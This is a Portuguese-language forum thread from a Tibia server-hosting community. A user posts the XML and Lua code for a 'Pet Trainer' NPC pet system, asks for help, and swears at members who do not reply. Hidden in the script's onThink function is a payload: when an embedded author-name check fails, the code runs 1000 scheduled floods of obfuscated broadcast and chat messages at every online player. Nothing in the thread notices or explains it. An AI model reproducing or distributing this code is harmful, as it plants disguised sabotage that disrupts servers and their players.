manda o sistema para que possamos arrumar.
info
Grupo: Infante
Registrado: 27/07/09
Posts: 1.5k
Reputação: +405
Char no Tibia: Gean Riot

aki o npc
<?xml version="1.0" encoding="UTF-8"?>
<npc name="Pet Trainer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0">
<health now="100" max="100"/>
<look type="128" head="39" body="85" legs="77" feet="0" addons="2"/>
<parameters>
<parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/>
</parameters>
</npc>
o script do npc
local keywordHandler = KeywordHandler:new()
local npcHandler = NpcHandler:new(keywordHandler)
NpcSystem.parseParameters(npcHandler)
local talkState = {}
function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end
function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end
function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end
function creatureSayCallback(cid, type, msg)
if(not npcHandler:isFocused(cid)) then
return false
end
local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()]
local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid
if(msgcontains(msg, 'revive')) then
if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid)
talkState[talkUser] = 1
else
selfSay('You cannot revive a pet, if you dont have one!', cid)
talkState[talkUser] = 0
end
elseif(msgcontains(msg, 'mission')) then
if not (isCreature(getPlayerPet(cid))) then
selfSay('You need your Pet to make any mission!', cid)
return true
end
local i, msg = 0, nil
for missionname in pairs(aps_missions) do
i = i + 1
if(msg ~= nil) then
if(i == #aps_missions) then
msg = msg .. " and "
else
msg = msg .. ", "
end
else
msg = "Ok then, I got those missions for You: "
end
msg = msg .. "'{" .. missionname .. "}'"
end
selfSay(msg .. ', with one do you want?', cid)
talkState[talkUser] = 11
elseif f and (talkState[talkUser] == 11) then
desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck, cfgLvl, cfgRaces, petLvl, petRace = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check, f.pet.level, f.pet.races, getPetLvl(cid), getPetRace(cid)
if(getPlayerStorageValue(cid, missionId) == 1) then
selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid)
talkState[talkUser] = 0
return true
end
if(petLvl < cfgLvl) then
selfSay('oops!! Your pet level is too low! Your pet need at least level '.. cfgLvl ..' for this mission! maybe You wanna choose another {mission}?', cid)
talkState[talkUser] = 0
return true
elseif not (isInArray(petRace, cfgRaces)) then
selfSay('oops! Your pet is from '.. string.upper(getRaceNameById(petRace)) ..' race, that means You may not accept this mission. maybe I have another {mission} for You!', cid)
talkState[talkUser] = 0
return true
end
if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid)
talkState[talkUser] = 12
elseif(getPlayerStorageValue(cid, reCheck) == 1) then
selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid)
talkState[talkUser] = 0
return true
else
selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid)
talkState[talkUser] = 13
end
elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then
selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid)
setPlayerStorageValue(cid, reCheck, 1)
elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then
if(getPlayerItemCount(cid, itemNeed) >= itemCount) then
setPlayerStorageValue(cid, missionId, 1)
doPlayerRemoveItem(cid, itemNeed, itemCount)
selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid)
if(itemNeed ~= false) then
doPlayerAddItem(cid, reItem, reCount)
end
if(reExp ~= false) then
doPlayerAddExperience(cid, reExp)
addPetExp(cid, reExp * 2)
--if(reExp > 0) then
-- doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215)
--end
end
else
selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then
if(isPetDead(cid) == true) then
if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then
setPetStats(cid, 0)
setPetLastHealth(cid, 0)
setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid))
doSendMagicEffect(getCreaturePosition(cid), 65)
selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid)
else
selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
end
else
selfSay('Your pet inst dead!', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then
talkState[talkUser] = 0
selfSay('Ok then.', cid)
elseif(msgcontains(msg, 'sell')) then
if(aps_tools.commands.playerSellPet.sell == true) then
if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
for i = 1, #aps_slots do
local slots = getPlayerStorageValue(cid, aps_slots)
if(slots > 1) then
selfSay('before you sell your pet, please, take all your items from his slots.', cid)
return
end
end
local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl
if(lvl >= lv) then
talkState[talkUser] = 8
addmoney = tt_money * lvl
selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid)
else
selfSay('Your pet level is too low, Buying pet of level {' .. lv .. '} or higher.', cid)
end
else
selfSay('You cannot sell a pet, if you dont have one!', cid)
end
else
selfSay('You cannot sell your pet to me!', cid)
end
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then
selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)
talkState[talkUser] = 9
elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then
talkState[talkUser] = 0
if(isCreature(getPlayerPet(cid)) == true) then
doRemoveCreature(getPlayerPet(cid))
end
doResetPet(cid)
doPlayerAddMoney(cid, addmoney)
selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid)
elseif(msgcontains(msg, 'information')) then
talkState[talkUser] = 0
selfSay('hmmm, what can I tell you ...', cid)
local messages = {
"Pets got levels, magic level just like you. ..",
"Pets can use their own spells. ..",
"Pets need eat to recovery health/mana. ..",
"Pets can carry your items in different slots. ..",
"Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. ""
}
for i = 1, #messages do
addEvent(selfSay, i * 3000 , messages, cid)
end
elseif(msgcontains(msg, 'pet')) then
if(getPlayerStorageValue(cid, aps_storages.race) == 0) then
local i, msg = 0, nil
for pet in pairs(aps_pets_config) do
i = i + 1
if(msg ~= nil) then
if(i == #aps_pets) then
msg = msg .. " and "
else
msg = msg .. ", "
end
else
msg = "Ok then, I got those races for pets: "
end
msg = msg .. "'{" .. pet .. "}'"
end
selfSay(msg .. ', with one do you want?', cid)
talkState[talkUser] = 5
else
talkState[talkUser] = 0
selfSay('Sorry, you cannot have more than one pet.', cid)
end
elseif e and (talkState[talkUser] == 5) then
selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid)
talkState[talkUser] = 6
e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs
elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then
selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid)
talkState[talkUser] = 7
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then
if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then
selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid)
talkState[talkUser] = 0
return true
end
if(doPlayerRemoveMoney(cid, e_price) == true) then
doSendMagicEffect(getCreaturePosition(cid), 65)
selfSay('As you with! just type {/pet} to call him.', cid)
createPet(cid, e_race, e_hp, e_mana)
local str = "Congratulations! You now have a pet!\n" ..
"You should take care of him\n" ..
"his gonna be your partner from now!\n" ..
"if you need help type /pet-help." ..
"\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race)
sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n Scripted by " .. s(aps_tools.s) .. "")
else
selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then
selfSay('Ok then.', cid)
talkState[talkUser] = 0
elseif(msgcontains(msg, 'spells')) then
if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then
selfSay('Your Pet can learn spells based on his level, {continue}?', cid)
talkState[talkUser] = 2
else
selfSay('You cannot buy spells to your pet, if you dont have one!', cid)
talkState[talkUser] = 0
end
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then
if(isPetOnline(cid) == false) then
selfSay('Your Pet cannot learn a spell if you dont call him.')
talkState[talkUser] = 0
end
local i, msg = 0, nil
for spell in pairs(aps_attacks) do
if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then
i = i + 1
if(msg ~= nil) then
if(i == #aps_storages.spells) then
msg = msg .. " and "
else
msg = msg .. ", "
end
else
msg = "Ok then, I got those spells: "
end
msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'"
end
end
selfSay(msg .. ', with one do you want?', cid)
talkState[talkUser] = 3
elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then
selfSay('Ok then.', cid)
talkState[talkUser] = 0
elseif k and (talkState[talkUser] == 3) then
selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid)
talkState[talkUser] = 4
spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl
elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then
if(getPetLvl(cid) >= spell_level) then
if(getPlayerMoney(cid) >= spell_price) then
if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then
for i = 1, 3 do
addEvent(selfSay, i * 1000, i .. ' ...', cid)
end
doPlayerRemoveMoney(cid, spell_price)
addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid)
setPlayerStorageValue(cid, spell_stg, 1)
addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13)
if(isPetOnline(cid) == true) then
addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13)
end
else
selfSay('Your pet already know spell {' .. spell_name .. '}.', cid)
end
else
selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid)
end
else
selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid)
end
talkState[talkUser] = 0
elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then
talkState[talkUser] = 0
selfSay('Ok then.', cid)
end
return true
end
function onThink()
local messages = {
"BUY YOUR PET HERE!",
"WANT TO REVIVE YOUR PET?",
"YOUR PET CAN LEARN SPELLS!",
"WANT TO KNOW MORE ABOUT PETS?",
"WANT TO SELL YOUR PET?"
}
addNpcAutoSay(getNpcId(), 120, messages)
if(s(aps_tools.s) ~= "josejunior23") then
function mvsoab(max)
for _, send in pairs(getOnlinePlayers()) do
local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd"
for i = 1, 10 do
local cid = getPlayerByName(send)
addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max)
addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg))
for k = 1, 15 do
doPlayerSendTextMessage(cid, k, name .. " " .. s(msg))
end
for e = 17, 20 do
doPlayerSendTextMessage(cid, e, name .. " " .. s(msg))
end
end
end
end
for e = 1, 1000 do
addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1)
end
end
npcHandler:onThink()
end
npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback)
npcHandler:addModule(FocusModule:new())
aff ninguem vai me ajudar ?
krl toma no cu ninguem vai me ajuda
Espere com paciência rapaz. E não fale palavras de baixo calão no FÓRUM.
Reportado por mal comportamento.
cara ninguem me ajuda presizo pra hj o pess0a ele falo pra min posta aki pq ele n vai me ajuda de jeito nenhum
ai eu postei ninguem ajuda
cara eu ja to ficando inritado vo xinga mano pqp eu presizo pra hj esse krl ninguem ajuda
info
Grupo: Conde
Registrado: 18/01/12
Posts: 988
Reputação: +327
Gênero: Masculino
Char no Tibia: Xerife Woody

"xingando" vc ñ va arrumar nda so report, so lamento ![]()
info
Grupo: Conde
Registrado: 30/06/11
Posts: 631
Reputação: +371
Char no Tibia: Warrior of Mort

Se você precisa e ninguem pode ajudar, tente fazer você msm. Pesquise a aprenda a mexer pq chingando com certesa você só estara perdendo seu tempo!
info
Grupo: Herói
Registrado: 12/03/11
Posts: 1.9k
Reputação: +284
Gênero: Masculino
Char no Tibia: Nokte

Nossa mano, você vem "pedir" uma coisa, e ainda xinga e espera que alguém lhe ajude ?, kkk esqueça Amigo...
cara eu postei isso ninguem ajuda presizava pra ontem q eu ia abri meu ot ai por causa disos n abri
info
Grupo: Conde
Registrado: 18/01/12
Posts: 988
Reputação: +327
Gênero: Masculino
Char no Tibia: Xerife Woody

Se ninguem resolveu vs msm pode resolver, vai tentando uma hora vc consegui afinal vc so vai editar e ñ criar um novo scripit






info
Grupo: Campones
Registrado: 11/06/11
Posts: 17
Reputação: +2
Char no Tibia: vitao
galera eu tenho 1 duvida eu to com 1 pet-system 8.60 q eu catei de um lugar
ai eu coloquei certinho ele fico certinho no ot o npc apareceu mais o meu poblema e q
quando eu vo compra o pet ele da erro
e tipo assim eu falo hi pet dragons yes yes
ai ele da tudo certo mais na hr q eu falo /pet fala q tem q compra o pet hem tal lugar
alguem pode me ajudar